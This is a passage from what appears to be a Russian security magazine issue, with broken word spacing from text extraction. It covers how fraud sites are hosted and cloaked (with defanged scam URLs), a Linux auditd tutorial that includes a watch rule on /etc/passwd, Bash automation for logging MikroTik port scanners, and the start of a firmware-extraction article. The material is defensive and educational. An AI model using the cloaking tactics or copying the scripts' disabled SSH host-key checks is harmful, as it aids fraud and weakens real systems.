можно скач ать список из 250 милл ионов зарегист рированных доменов. Стоит серв ис 7 долл аров за 24-часовой доступ. Серв ис со списк ом зарегист рированн ых доменов domains-monitor.com ПАРАЗИТЫ По аналогии с живой природой виртуальный паразит использует чужие ресур‐ сы, чтоб ы жить как можн о дольш е и остаться незамеченн ым. Чаще всего для этог о взлам ывается безобидный сайт и в один из подкаталог ов залива‐ ется вред оносн ый. Взломанный сайт комм ерческ ой фирм ы СОСЕДИ Под этим методом я понимаю разм ещение мошенн ических сайт ов на «чужих» ресурс ах. Например, hххps://gatrade.turbo.site — в данном случае веб‑стра‐ ница созд ана в конст рукторе сайт ов от Яндекса. Прим ер сайта, созданног о в конструкт оре Яндекса В эту же категор ию можно отнести сайты, созд анные на квиз‑платформах (это такие конструкторы онлайн‑опросов). Найд енн ый мною ранее прим ер мошенническ ого опроса уже не работает, остал ись лишь его след ы в Google. Прим ер мошенн ическ ого опрос а на платформе quizgo.ru ВНУТРЯНКА Еще один способ защиты мошенн ических сайт ов от сканеров служб безопас‐ ности. Если перейти по ссылке hxxps://invest-it.live, тебя переа дресует в Google, а сама мошенн ическ ая стран ица находится «внутр и» сайта, по адрес у hххps://invest-it.live/russian-platform. Пример мошеннического ресурс а в каталог е сайта КЛОАКИНГ Этим термином обозн ачаю т подмену содерж имого сайт а в зависим ости от техн ических особ енностей посетит еля. Например, если зайт и с украи нско‐ го IP по адрес у hххp://gazpromrekl.ru, мы увид им мошенн ический сайт. Мошеннический сайт А если зайт и с любого друг ого IP, нам покажут магазин, прод ающий домики для котиков. Прим ер подм ены содерж имого в зависим ост и от IP посетителя Кстат и, этот самый gazpromrekl.ru иногда глючит, и при заходе с российс кого IP он показывает сайт какой‑то веб‑студ ии. Похоже, ребята дополнительно монетиз ирую т свои навыки. Клоакинг использ уетс я и в социальн ых сетях, в том числ е для обхода модерац ии (а мы удивл яемся, почему модерат оры пропускают явно мошенническ ий конт ент. Просто их обманули с помощью технических средств). Прим ер мошенническ ой рекл амы в Facebook Когда модератор переходит со своего европ ейского (или индийского) IP на 5000-privitum-podarok.ru, ему показываетс я один сайт, а если перейти с IP одной из стран СНГ, контент соверш енно другой. Разн ое содержимое в зависим ости от IP посетит еля ВЫВОДЫ Перечисленными спос обам и размещения мошенн ических сайтов весь арсе‐ нал используемых жуликам и методов не исчерпыв ается. Существует целый бизнес по продаже готовых лендингов, копирующих сайт ы извест ных фирм и банков, а такж е нацеленные на орган изац ию лохотронов партнерки. Разн ое содерж имое в зависимости от IP посетит еля Поэтом у наиболее эффективны всег о два способа борьб ы с мошенничес‐ твом: техн ическая блокировк а того, что ты смог найти (если ты ИБ/ИТ‑шник), и обуч ение сотрудник ов, родственн иков и друз ей правилам информац ионной безопасности. Оно включ ит у польз ователя «мозг офайрвол», который работае т намного лучш е всех техническ их средств, вместе взятых.
АДМИН ОСНОВЫ АУДИТА НАСТРАИВАЕМ ЖУРНАЛИРОВАНИЕ ВАЖНЫХ СОБЫТИЙ В LINUX Андрей Балабанов Главный инженер Центра компетенций по защите АРМ и серверов Сбербанка Подсистем а аудит а Linux позволяе т на основ е пред‐ варительн о наст роенных правил отслеживать значимую информац ию о безопасности операционной системы, соз‐ дает записи журнала для дальнейшег о расс лед ования нарушен ий политики. Сегодня мы посм отрим поближе на этот важн ый и для хакера, и для админ а элем ент сист емы безопасн ости. С помощью аудита можно реализ овать журн алиров ание для следующих событий: • доступ к объе ктам файловой системы; • вып олнение сист емных вызовов; • запуск пользовательс ких команд; • лог ины польз овател ей; • дейс твия с учетными записям и и прив илегиями. В этой статье я расс каж у, как устроена подсистема аудит а, как ей управлять, а такж е как получить журнал аудит а всех интер есующих тебя событий. Подс истема аудит а в Linux сост оит из двух групп комп онент ов: в прос‐ транстве ядра это kauditd, а в польз овательском — auditd. В общем виде схем а работы подсистемы аудита выгл ядит след ующим образ ом. Ядр о, прин имая системные вызовы из user space, проп уск ает их через филь‐ тры user, task, filesystem , exclude и exit. • Фильт р user использ уетс я для фильтрации (исключения) событий, про‐ исходящих в пользовательс ком пространст ве до отправк и в auditd. Прак‐ тически никогда не использ уетс я. • Фильт р task применяется для сист емных вызовов fork() и clone(). • Фильтр filesystem используется для исключ ения событий для конк рет‐ ной файл овой сист емы. • Фильтр exclude задает исключения для событий. • Фильтр exit проходят все системные вызовы. Обычно наст раивают имен‐ но этот фильтр. Чер ез netlink(7) сообщ ения отправл яются из kauditd в auditd. При получении событий, демон auditd записыв ает их в лог (по умолч анию / var/log/audit/audit.log). Настраивая фильтры с помощью утилиты auditctl, мы можем управлять потоком событий, который хотим получать. С помощью утилит ausearch, aureport, aulast удобно просматривать журнал аудита. Давай теперь устан овим и наст рои м все подсистемы аудит а. Устан овка крайне прост а и не вызывает никаких сложн остей: $ sudo dnf install audit $ sudo systemctl enable --now auditd Стат ус работы подс истемы аудита можно получить так: $ sudo auditctl -s enabled 1 failure 1 pid 885 rate_limit 0 backlog_limit 8192 lost 0 backlog 0 backlog_wait_time 60000 loginuid_immutable 0 unlocked Для тест а есть возможность отправ ить текс товое сообщение в подсистем у аудита и убедитьс я, что соотв етст вую щее событие попало в журнал аудита. $ sudo auditctl -m helloaudit $ sudo ausearch -m USER ---- type=USER msg=audit(08/31/2021 19:20:11.160:330699) : pid=305708 uid=root auid=andrey ses=5 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msg='text=helloaudit exe=/usr/sbin/auditctl hostname=rhel.ipa.localdomain addr=? terminal=pts/0 res=success' Наст ройки демона auditd представлены в файле /etc/audit/auditd.conf. Конфиг по умолч анию рабочий и не треб ует измен ений, оставляе м его как есть. Разберемся теперь, как управлять фильт рами kauditd. Все наст ройки фильтров группирую тся в файл ы правил. Формат правил аналогич ен син‐ таксису консольной программы auditctl. Демон auditd загр ужает эти правила посл едовательн о при старте системы либо вручную по команде пользователя. INFO Важн ый момент: чтобы наши правила применя‐ лись после перезагр узки, необходимо записать их в файл, в каталог /etc/audit/rules.d/. Примеры правил ты можешь найт и в каталоге /usr/share/audit/sample- rules/. Прав ила аудита бываю т следующих типов: 1. Упр авляющие прав ила настраи вают сист ему аудита и поведение аген‐ та. Все возм ожные опции перечислены в мане auditctl(8). 2. Прав ила файл овой системы необходимы для набл юдения за файл ом или каталог ом, дост уп к которым мы хотим контрол иров ать. Формат пра‐ вила следующий: -w path-to-file -p permissions -k keyname Ключ -w указывае т на то, что это прав ило файл овой сист емы. Далее сле‐ дует путь к файлу или каталогу. Ключ -p может содерж ать любые комбинации прав дост упа r (чтение), w (запись), x (выполнение) и a (изменение атрибута). Ключ -k задае т имя правила, по которому впосл едст вии можно филь‐ тров ать логи. 3. Правила системных вызовов использ уютс я для монитор инг а сис‐ темных вызовов, выполняемых любым проц есс ом или конкретн ым поль‐ зовател ем. Правило имее т след ующий формат: -a action,list -S syscall -F field=value -k keyname Ключ -a означ ает append (добавление) прав ила в фильтр. Дейс твие action может быть always (всегда созд авать события) или never (никогд а не созд авать события). Фильт р list содерж ит один из возм ожных вариантов: task, exit, user, filesystem или exclude. -S указывае т конк ретный syscall (имя или номер); можно в одном пра‐ виле указывать сразу нескольк о syscall, кажд ый после своего ключ а -S. -F задает фильт р по полям. Рекоменд уется всегд а указывать раз‐ рядность, добавл яя в правила фильт р -F arch=b64. Ключ -k — имя правила. Как и в правиле файловой сист емы, исполь‐ зуетс я для маркировк и событий для посл едую щей фильтрац ии лога. Важно отмет ить, что прав ила системных вызовов значительно влия ют на про‐ изводительн ость сист емы в целом. Старайся сокр атить их количест во и объ‐ единяй прав ила, где это возможно. В качестве трен ировк и создадим прав ило аудит а для регист рации изме‐ нения файла /etc/passwd. Для начала убедимся, что у нас не применено ни одног о правила. $ sudo auditctl -l No rules Есл и ранее уже были заданы какие‑то правила, то смел о удал яем их коман‐ дой: $ sudo auditctl -D No rules Применим правило: $ sudo auditctl -w /etc/passwd -p wa -k passwd Проверим, что прав ило активно: $ sudo auditctl -l -w /etc/passwd -p wa -k passwd Теп ерь просм отрим, как наше правило работае т. Мы не прост о отредакт иру‐ ем файл, а посл едовательно созд адим и удал им пользовател я: $ sudo useradd testuser $ sudo userdel -r testuser Убед имс я, что по нашему прав илу сген ерир овал ись события. Для этого пос‐ трои м отчет: $ sudo aureport --summary -k Key Summary Report =========================== total key =========================== 6 passwd Теп ерь посм отрим эти события. $ sudo ausearch -i -k passwd ---- type=PROCTITLE msg=audit(08/31/2021 17:08:25.562:330349) : proctitle=/sbin/auditctl -R /etc/audit/audit.rules type=SOCKADDR msg=audit(08/31/2021 17:08:25.562:330349) : saddr={ saddr_fam=netlink nlnk-fam=16 nlnk-pid=0 } type=SYSCALL msg=audit(08/31/2021 17:08:25.562:330349) : arch=x86_64 syscall=sendto success=yes exit=1076 a0=0x3 a1=0x7ffd19279350 a2=0x434 a3=0x0 items=0 ppid=285156 pid=285166 auid=unset uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=(none) ses=unset comm=auditctl exe=/usr/sbin/auditctl subj=system_u:system_r:unconfined_service_t:s0 key=(null) type=CONFIG_CHANGE msg=audit(08/31/2021 17:08:25.562:330349) : auid=unset ses=unset subj=system_u:system_r:unconfined_service_t:s0 op=remove_rule key=passwd list=exit res=yes ---- type=PROCTITLE msg=audit(08/31/2021 17:08:38.406:330366) : proctitle=auditctl -w /etc/passwd -p wa -k passwd type=SYSCALL msg=audit(08/31/2021 17:08:38.406:330366) : arch=x86_64 syscall=sendto success=yes exit=1076 a0=0x4 a1=0x7ffdcd6fca80 a2=0x434 a3=0x0 items=0 ppid=285219 pid=285221 auid=andrey uid=root gid=root euid=root suid=root fsuid=root egid=root sgid=root fsgid=root tty=pts0 ses=5 comm=auditctl exe=/usr/sbin/auditctl subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=(null) type=CONFIG_CHANGE msg=audit(08/31/2021 17:08:38.406:330366) : auid=andrey ses=5 subj=unconfined_u:unconfined_r:unconfined_t:s0- s0:c0.c1023 op=add_rule key=passwd list=exit res=yes ... Все записи в журнале обяз ательн о начинаю тся с tуpe= — как легк о догадать‐ ся, это тип события. Я привел тольк о два из выведенных событий, но можно заметить, что подс истема аудит а по нашему прав илу групп ируе т события раз‐ ных типов в один блок. Это удобно для анализа. Есть события, которые не промарк ированы нашим прав илом, много чего интересного собирается в автом атическ ом режиме. Общая картина видн а из отчета: $ sudo aureport Summary Report ====================== Range of time in logs: 08/31/2021 17:08:25.540 - 08/31/2021 17:31:13.011 Selected time for report: 08/31/2021 17:08:25 - 08/31/2021 17:31:13.011 Number of changes in configuration: 5 Number of changes to accounts, groups, or roles: 8 Number of logins: 0 Number of failed logins: 0 Number of authentications: 3 Number of failed authentications: 0 Number of users: 2 Number of terminals: 6 Number of host names: 2 Number of executables: 8 Number of commands: 6 Number of files: 3 Number of AVC's: 0 Number of MAC events: 0 Number of failed syscalls: 0 Number of anomaly events: 0 Number of responses to anomaly events: 0 Number of crypto events: 0 Number of integrity events: 0 Number of virt events: 0 Number of keys: 1 Number of process IDs: 26 Number of events: 166 Все возм ожные типы регистрир уемых событий можем узнать так (в реальн ос‐ ти вывод гораздо длинн ее, поск ольк у типов больше 170): $ sudo ausearch -m Argument is required for -m Valid message types are: ALL USER LOGIN USER_AUTH USER_ACCT USER_MGMT CRED_ACQ CRED_DISP USER_START USER_END USER_AVC USER_CHAUTHTOK USER_ERR CRED_REFR USYS_CONFIG USER_LOGIN USER_LOGOUT ADD_USER DEL_USER ADD_GROUP DEL_GROUP... WWW Описание всех типов и полей логов есть в документ ации. К примеру, в результ ате наших дейс твий по добавлению и удалению поль‐ зовател ей появил ись события других типов, которые не попали в правило. Но мы с легк остью можем их просмотреть. $ sudo ausearch -i -m USER_MGMT,ADD_USER,DEL_USER,ADD_GROUP,DEL_GROUP ---- type=ADD_GROUP msg=audit(08/31/2021 17:08:53.317:330382) : pid=285290 uid=root auid=andrey ses=5 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msg='op=add- group acct=testuser exe=/usr/sbin/useradd hostname=rhel.ipa.localdomain addr=? terminal=pts/0 res=success' ---- type=ADD_USER msg=audit(08/31/2021 17:08:53.322:330383) : pid=285290 uid=root auid=andrey ses=5 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msg='op=add- user acct=testuser exe=/usr/sbin/useradd hostname=rhel.ipa.localdomain addr=? terminal=pts/0 res=success' ---- type=USER_MGMT msg=audit(08/31/2021 17:08:53.652:330385) : pid=285290 uid=root auid=andrey ses=5 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msg='op=add- home-dir id=testuser exe=/usr/sbin/useradd hostname=rhel.ipa.localdomain addr=? terminal=pts/0 res=success' ... Если мы хотим получить абсолютно все события аудита за день, выполн яем команду sudo ausearch -i -ts today. Ответ будет очень длинн ым, поэтому не прив ожу его. Если же нам по каким‑то причинам не интересны конк ретные типы событий и мы хотим сокр атить размер логов, то можем полностью исключ ить регистрац ию этих типов. Напр имер, с помощью прав ил для фильтра exclude: $ sudo auditctl -a always,exclude -F msgtype=CWD $ sudo auditctl -a always,exclude -F msgtype=PATH $ sudo auditctl -a always,exclude -F msgtype=CRYPTO_KEY_USER ВЫВОД Как мы убедились, наст раивать аудит в Linux не так уж и сложн о. Достаточно понять, как он работае т, и набить руку в написан ии правил. Всем заинт ересо‐ вавш имся советую обратить вним ание на другие реализации агент ов аудита: auditbeat и go-audit. Возм ожно, для твои х задач они подойдут лучш е.
АДМИН МГОСИПКОДРИНОТИКОВ АВТОМАТИЗИРУЕМ СБОР И ОБРАБОТКУ ДАННЫХ С ОБОРУДОВАНИЯ MIKROTIK NestorMahno Если user очень крут — не пугайтесь, это root [email protected] Представь, что у нас есть оборудов ание MikroTik, для которо‐ го написан ы прав ила файрвола прот ив сканирования пор‐ тов. Нам нужно вест и ежедн евный учет IP-адресов и отправ‐ лять письм о с отчет ом для отдел а безопасн ости. Сегодн я мы в духе извест ной цит аты с «Баша» о программисте, который автоматизиров ал все, что занимал о у него боль‐ ше 90 секунд, напишем скрипт, чтоб ы он выполнял всю эту работу. По дороге поупражняемся в админист рирован ии сетей на основе MikroTik. Как ты помнишь, первый этап любой кибератаки — это разв едка. От нее‑то мы и будем защищатьс я. На некое м гран ичн ом маршрутизаторе MikroTik у нас настрое ны прав ила Firewall прот ив стандартног о скана порт ов (напр имер, всеми уважаемым сканером Nmap). Прав ила Firewall против скана портов Все прав ила настроены в таблице Raw для обраб отк и траф ика до попадан ия в Connection Tracking и меньшей нагр узки на проц есс ор. В правилах задейс твов ана цепочк а Prerouting, логика работы правил основ ана на фла‐ гах TCP (tcp-flags). Если нам с одног о IP-адрес а поочер едно на разные пор‐ ты марш рут изатора прилетает неск олько пакетов TCP с флагами SYN (полу‐ открыт ые соедин ения), то можно сделать вывод, что работает сканер порт ов. Добавл яем IP-адрес в Address List и в конц е делаем drop всего лист а. Эти сигнатуры не претенд уют на уник альн ость. Так что, как говорит мой началь‐ ник, «совершенст вуй и улучшай». Экспорт правил Firewall прот ив скан а портов INFO Дет альн ый разбор этих правил выходит за рамк и статьи. Чтоб ы вникн уть подр обнее, читай цикл статей «Стена огня» и изучай, как работаю т ска‐ неры портов. Список адрес ов с назв ание м port scanners ПЕРВЫЙ ЭТАП ОПТИМИЗАЦИИ ЖИЗНЕДЕЯТЕЛЬНОСТИ СИСАДМИНА Итак, нам нужно вест и учет количества IP-адресов, которые сканируют сеть, и ежедн евно отправл ять Address List в отдел безопасн ости предп рия тия для дальнейшег о анализа и пред отвращения атак. Как извест но, системный админ истрат ор сущест во лен ивое занятое, и каждый день заходить на мар‐ шрутизатор и скидывать файл с адресами для него нерент абельн о. Начал я с того, что написал скрипт для RouterOS, который ежедневно сохранял Address List в файл и отправлял письм о на электронную почт у. Пример локального скрипта на маршрутизаторе MikroTik RouterOS :local sysname [/system identity get name]; :local sysdate [/system clock get date]; :local d [:pick $sysdate begin=4 end=6]; :local m [:pick $sysdate begin=0 end=3]; :local y [:pick $sysdate begin=7 end=11]; ########SAVE_ADDRESS_LIST_TO_FILE############# /ip firewall address-list print from=[ find where list=port_ scanners] \\ file=\"$sysname_$d$m$y_port_scanners_list.txt\"; :delay 3s; ########SEND_ADDRESS_LIST_TO_MAIL############ /tool e-mail send [email protected] from= [email protected] \\ subject=([/system identity get name] . \" Port_scanners_address_list \" .\\ [/system clock get date]) body=(\"Port scanners address-list of $sysname\\nTime and Date stamp: \" . \\ [/system clock get time] . \" \" . [/system clock get date] . \"\\n \") \\ file=\"$sysname_$d$m$y_port_scanners_list.txt\"; Скрипт брал основную информац ию по обор удов анию, имя устройства, дату, месяц и год, искал соотв етствую щий Address List и сохр анял файл. Сохраненн ый файл А затем отправл ял сообщ ение с вложенн ым файл ом на почт у. Прим ер полученного письма Доб авл ение этого скрипт а в Scheduler немного облегчило жизнь, но нужно было заходить на почту сохранять логи и ежен едельно подсчитывать IP-адре‐ са. План ировщ ик и наш скрипт ВТОРОЙ ЭТАП ОПТИМИЗАЦИИ. УЧИМ СЕРВЕР ДЕЛАТЬ РАБОТУ ЗА НАС План действий будет след ующий. 1. Мы напишем на Bash скрипт, который будет заходить на маршрутизатор по SSH, сохр анять файл из Address List и по SCP забирать файл себе. 2. Нап ишем еще один Bash-скрипт, который будет вест и еженедельн ый под‐ счет IP-адрес ов и отправл ять безопасн икам эту информац ию по почт е, прикладывая сам список. 3. Выполним всякие вспом огат ельные задачи: наст ройк у cron и почтового клие нта на сервере, генерацию ключ ей SSH и, конечн о, наст ройк у телег‐ рам‑бота для получен ия служебн ых сообщ ений и (при некоторой доработ‐ ке) управлен ия работой скрипт а. Из инст рументов нам понадобится Unix-образная сист ема (я тестировал на Ubuntu, Armbian и Manjaro), прямые руки и баночка пива (опционально). Приступаем к работе! Сначала создаем директорию для хран ения наших скрипт ов и служебных файл ов: mkdir /home/user/.scripts/cyber И еще одну — для хранения списка адрес ов, с которых происход ило скан иро‐ вание: mkdir /home/user/.scripts/cyber/port_scanners Также нужно на сервере сгенерир овать ключ и SSH: ssh-keygen И вручную найт и публ ичный ключ (id_rsa.pub) в каталог е ~/.ssh. На мар‐ шрут изат оре созд аем пользовател я (напр имер, uServer) и кладем публ ичный ключ SSH (id_rsa.pub) в директорию Files. Далее открываем вкладку System → Users → SSH Keys и выбираем публ ичный ключ SSH (id_rsa.pub) для созданног о пользователя. Создание нового пользователя INFO Не забывай, что посл е того, как мы положили ключ для пользователя, нужно перв ый раз зайт и на маршрутизат ор под этим пользовател ем по прот околу SSH. Для монитор инга работы скриптов мы будем использ овать телеграм‑бота. Его код я здесь прив одить не буду, но смаст ерить его несл ожно — ищи бота BotFather и дерз ай. INFO Подр обнее о том, как писать ботов для Telegram, читай в статье «Телеграфируе т робот. Пишем бота для Telegram на Python». Дальш е создаем групп у или канал, даем ей соотв етствую щее назв ание (нап‐ ример, MikrotControl). Добавл яем бота в групп у и даем ему права для пуб‐ ликации сообщений. Дальше узнаем chat id нашей группы. Для этого открываем специальн ый URL: https://api.telegram.org/bot<ваш_токен_телеграм_бота>/getUpdates В ответе нас интер есуе т параметр message → chat → id, в нем хранится уни‐ кальн ый идентификат ор чата группы с нашим ботом. Выв од в формате JSON: \"chat\": { \"id\": -1524684857943, \"title\": \"MikrotControl\", \"type\": \"supergroup\" }, Теперь отправим тестовое сообщение от бота в групп у или канал. Для этого есть специальный URL: https://api.telegram.org/bot<ваш_токен_телеграм_бота>/sendMessage? chat_id=<ідентифікатор_групи>&text=test123 В нашем случае chat ID -1524684857943. Именно так, со знаком минус. В групп е мы должны получить сообщ ение от бота с текс том test123. Дальш е нужн о наст рои ть бота на серв ере. Я возьм у за основу готовый скрипт monit2telegram. Уст анавл иваем клиент Git: sudo pacman -S git Переходим в директорию /usr/src: cd /usr/src Загр ужае м необходимые ресурс ы с GitHub и переход им в загр уженную директорию: sudo git clone https://github.com/matriphe/monit2telegram.git cd monit2telegram Зат ем необх одимо скопиров ать файл конфигурац ии и скрипты в соответст ву‐ ющие директ ории файл овой сист емы и дать скрипт ам права на исполнен ие: sudo cp telegramrc /etc/telegramrc sudo cp sendtelegram.sh /usr/local/bin/sendtelegram sudo chmod +x /usr/local/bin/sendtelegram sudo cp monit2telegram.sh /usr/local/bin/monit2telegram sudo chmod +x /usr/local/bin/monit2telegram Установить необходимые зависимост и (jq): cd /usr/src sudo wget https://github.com/stedolan/jq/releases/download/jq-1.6/jq- linux64 sudo ln -s /usr/src/jq-linux64 /usr/bin/jq В первоначальн ом конф иге /etc/telegramrc нужн о указ ать уникальный TOKEN бота и CHATID нашей группы: TOKEN='...' CHATID='...' Пров ерить, приходят ли сообщ ения, можно так: sendtelegram -m \"test message from server\" В нашей групп е мы должны получить сообщ ение от бота с указ анным текс том. Ну и наконец, пишем наш скрипт. /home/user/.scripts/cyber/port_scanners.sh #!/bin/bash DIR_FILES=\"/home/user/.scripts/cyber/port_scanners\"; # Переменные команд для работы в любых оболочках CMD_WC=$(which wc)\" -l\"; CMD_SSH=$(which ssh); CMD_SCP=$(which scp); CMD_GREP=$(which grep); CMD_NMAP=$(which nmap); CMD_DATE=$(date +%d_%m_%Y); CMD_SEND2TG=$(which sendtelegram)\" -m\"; # Переменные для доступа по SSH и работы скрипта IDL_TIME=\"5s\"; HOST=\"192.168.100.12\"; USER=\"uServer\"; PORT=\"4200\"; IDENTITY=\"CRT001\"; FILE_NAME=$(echo $IDENTITY\"_\"$CMD_DATE\".txt\"); SSH_OPT=\" -o ConnectionAttempts=5 -o ConnectTimeout=5s \\ -o PasswordAuthentication=no -o PreferredAuthentications=publickey \\ -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \\ -o GlobalKnownHostsFile=/dev/null -o CheckHostIP=no \"; # Переменные для телеграм-бота DATE1=\"$(date \"+%H:%M:%S\")\" DATE2=\"$(date \"+%d %B %Y\")\" TEXT=\"������ Port scanners file загружен на сервер *$HOSTNAME* в директорию *$DIR_FILES* Время: $DATE1 Дата: $DATE2\" PAYLOAD=\"$TEXT&parse_mode=Markdown&disable_web_page_preview=true\" # Копирование файла с RouterOS на localhost SCP_STR_FILE=\"$CMD_SCP -2 -4 -B $SSH_OPT -P $PORT $USER@$HOST:/ $FILE_NAME $DIR_FILES\"; # Сохранение address-list на RouterOS в файл FILE_CRT=\"/ip firewall address-list print from=[ find where list=port_scanners] file=$FILE_NAME\"; # Удаление файла из address-list на RouterOS FILE_CLN=\"/file remove [find name=$FILE_NAME];/ip firewall address-list remove [find where list=port_scanners]\"; # Подключение по протоколу SSH на RouterOS SSH_STR=\"$CMD_SSH -p $PORT $USER@$HOST $SSH_OPT\"; # Проверка доступности целевого хоста (маршрутизатор MikroTik) для написания условий DEST_HOST=$($CMD_NMAP -p $PORT $HOST -Pn | $CMD_GREP -ic open); # Если хост недоступен, отправляем сообщение в группу if [ \"$DEST_HOST\" = 0 ]; then $CMD_SEND2TG \"cannot connect to $HOST\" fi; # Если доступен, то сохраняем файл, копируем его в заданную директорию, удаляем с маршрутизатора и пишем об удачной отработке скрипта в группу if [ \"$DEST_HOST\" = 1 ]; then $SSH_STR $FILE_CRT sleep $IDL_TIME && $SCP_STR_FILE sleep $IDL_TIME && $SSH_STR $FILE_CLN $CMD_SEND2TG \"$PAYLOAD\"; fi; Дум аю, логика скрипт а понятн а, поэтому идем дальш е. Для генерац ии электронн ого письм а нам необходимо созд ать файл old_date с датой отправки первого письма для ИБ‑отдела: echo 05.09.2021 > /home/user/.scripts/cyber/old_date Такж е созд аем дополнительный файл mail_body_text с текстом сообщения для нашего элект ронного письма: echo Cybersecurity report with port scanners files > /home/user/. scripts/cyber/mail_body_text Для элект ронн ой почты установим mutt: yaourt mutt Дал ее необходимо созд ать файл конф игурации home/user/.scripts/ cyber/.muttrc: sudo vi home/user/.scripts/cyber/.muttrc Осн овные наст ройки файла home/user/.scripts/cyber/.muttrc: set from = \"[email protected]\" set realname = \"Nestor\" \\ set imap_user = \"[email protected]\" set imap_pass = \"security_password\" \\ set folder = \"imaps://imap.protonmail.com:993\" set spoolfile = \"+INBOX\" \\ set postponed =\"+[Protonmail]/Drafts\" set header_cache =~/.mutt/ cache/headers \\ set message_cachedir =~/.mutt/cache/bodies set certificate_file =~/. mutt/certificates \\ set smtp_url = \"smtp://[email protected]:587/\" set smtp_ pass = \"security_password\" \\ set move = no set imap_keepalive = 900 Для пров ерки электронн ой почт ы используем такую команд у: mutt -s Subject -a /home/user/.scripts/cyber/Cybersecurity_report. txt -- [email protected] < Test message body Теп ерь напишем скрипт для подсчет а IP-адресов и отправк и электронного письм а для синей команды vim /home/user/.scripts/cyber/report_mail. sh. Все функции скрипта прописаны в комм ентар иях в нем. #!/bin/bash # Переменные команд для работы в любых оболочках CMD_DATE=$(date +%d.%m.%Y); CMD_WC=$(which wc)\" -l\"; CMD_RM=$(which rm)\" -r\"; CMD_CAT=$(which cat); CMD_EXPR=$(which expr); CMD_SEND2TG=$(which sendtelegram)\" -m\"; CMD_MUTT=$(which mutt)\" -s Cybersecurity_logs -a\"; # Переменные директорий DIR_FILES=\"/home/user/.scripts/cyber/port_scanners\"; DIR_REPORT=\"/home/user/.scripts/cyber\"; # Переменные файлов FILE_REPORT=\"Cybersecurity_report.txt\"; FILE_OLD_DATE=\"old_date\"; FILE_MAIL=\"mail_body_text\"; # Переменные для телеграм-бота DATE1=\"$(date \"+%H:%M:%S\")\" DATE2=\"$(date \"+%d %B %Y\")\" TEXT=\"$DATE2 : Доклад и $RESULT IP-адресов для отдела ИБ отправлен на электронную почту [email protected]\"; # Берем старую дату предыдущего доклада для генерации нового OLD_DATE=$($CMD_CAT \"$DIR_REPORT/$FILE_OLD_DATE\"); # Подсчет IP-адресов из сохраненных за неделю файлов IP_SUM=$($CMD_CAT \"$DIR_FILES\"/* | $CMD_WC); RESULT=$($CMD_EXPR $IP_SUM - 35); # Удаляем старый Cybersecurity_report.txt $CMD_RM \"$DIR_REPORT/$FILE_REPORT\"; # Генерируем рапорт для синей команды if ! [[ -r $DIR_REPORT/$FILE_REPORT ]]; then echo \" Доклад на 10:00 с $OLD_DATE г. по $CMD_DATE г. зафиксировано $RESULT IP адресов, с которых производилось сканирование сети. Файлы с ІР-адресами во вложении к докладу. Системный администратор Нестор Иванович Махно $CMD_DATE года\" > $DIR_REPORT/$FILE_REPORT; # Замена переменной старой даты для последующего доклада echo $CMD_DATE > \"$DIR_REPORT/$FILE_OLD_DATE\"; # Отправка электронного письма с вложениями $CMD_MUTT \"$DIR_REPORT/$FILE_REPORT\" \"$DIR_FILES\"/* [email protected] < \"$DIR_REPORT/$FILE_MAIL\"; # Сообщение в группу «Телеграма» об удачной отправке $CMD_SEND2TG \"$TEXT\"; # Удаление файлов с address-list port_scanners #$CMD_RM \"$DIR_FILES\"/*; else # Сообщение в группу «Телеграма» о неудачной отработке скрипта $CMD_SEND2TG \"cyber.sh не отработал\"; fi; Прив еду кратк ое поясн ение част и скрипта для подс чет а IP-адресов из сох‐ раненных файл ов за неделю. IP_SUM=$($CMD_CAT \"$DIR_FILES\"/* | $CMD_WC); RESULT=$($CMD_EXPR $IP_SUM - 35); Вот как выглядит экспорт списка адрес ов. Как мы видим, первые пять строк не несут смысл овой нагр узки. С помощью утил иты wc мы считаем все строки в файл ах из директ ории /home/user/.scripts/cyber/port_scanners, а так как доклад у нас за целую неделю, то 35 служебных строк мы не учитываем. Ну и посм отрим, как работает оповещение телегр ам‑бота в нашей группе. Оповещение телеграм‑бота в группе ПЛАНИРОВЩИК CRON ИЛИ ПОЛНАЯ АВТОМАТИЗАЦИЯ СКРИПТА Для нормального запуск а наших скриптов создадим симв олическ ие ссылки: sudo ln -s /home/user/.script/cyber/port_scanners.sh /usr/bin/port_ scanners.sh sudo ln -s /home/user/.script/cyber/report_mail.sh /usr/bin/report_ mail.sh Дальше необх одимо открыть планировщ ик cron: crontab -e И проп исать в нем следующие строк и для запуска наших симв олическ их ссы‐ лок на скрипт ы: 00 10 * * * /usr/bin/port_scanners.sh 30 12 * * 3 /usr/bin/report_mail.sh Теп ерь кажд ый день в 10:00 будет запускатьс я наш скрипт для сбор а адре‐ сов, а кажд ую сред у в 12:30 подсчит ывается числ о айпишн иков, генерируетс я и отправляется элект ронн ое письмо. ИТОГИ Отд ел безопасности получает необходимые данные, информац ия не занима‐ ет память марш рутизатора MikroTik, а всю работу выполн яет наш серв ер. Сис‐ темный админист ратор при этом конт ролируе т выполнение в групп е или канале Telegram, а в сэкономленное врем я почитыв ает «Хакер»!
GEEK ПРОЧЕСТЬ ПАМЯТЬ КАК КРАДУТ ПРОШИВКУ УСТРОЙСТВ И КАКИЕ БЫВАЮТ ЗАЩИТЫ chpeck [email protected] Все мы в детст ве вооруж ались отверт ками и разбирали какой‑нибудь прибор, чтобы понять, как он работает. Для кого‑то это стало проф ессией, но годы, когд а подопыт‐ ные приб оры не сопротивл ялись изуч ению, уже прошл и. Теперь кажд ая кофеварка пытае тся всеми силами сдел ать так, чтоб ы ты не смог ее изучить. Есть ли выход? Да! Сегодня мы посмотрим, как вытаскивать прошивк у из разн ых устрой‐ ств и как разработчики мешают этому. INFO Статья написана по мотивам докл ада Демида Узеньк ова — спец иалиста комп ании ИНФОРИОН. Выступление сост оялось на конф еренции RuCTFE 2020. За помощь в подготовке публикации редак‐ ция благодар ит команду «Хак ердом». Как ты помн ишь, у ламп овых прие мников не было никаких прош ивок, а единс‐ твенное, что могло помешать твое му любопытст ву, — это анодное нап‐ ряжение, которое, впрочем, хотя бы не нападал о на тебя само. Сейчас же все по‑другому: мне попадались устройс тва, которые агрессивн о противод ей‐ ствовали мне с самого начала, еще на этапе разб орки корпуса. С него мы и начн ем. 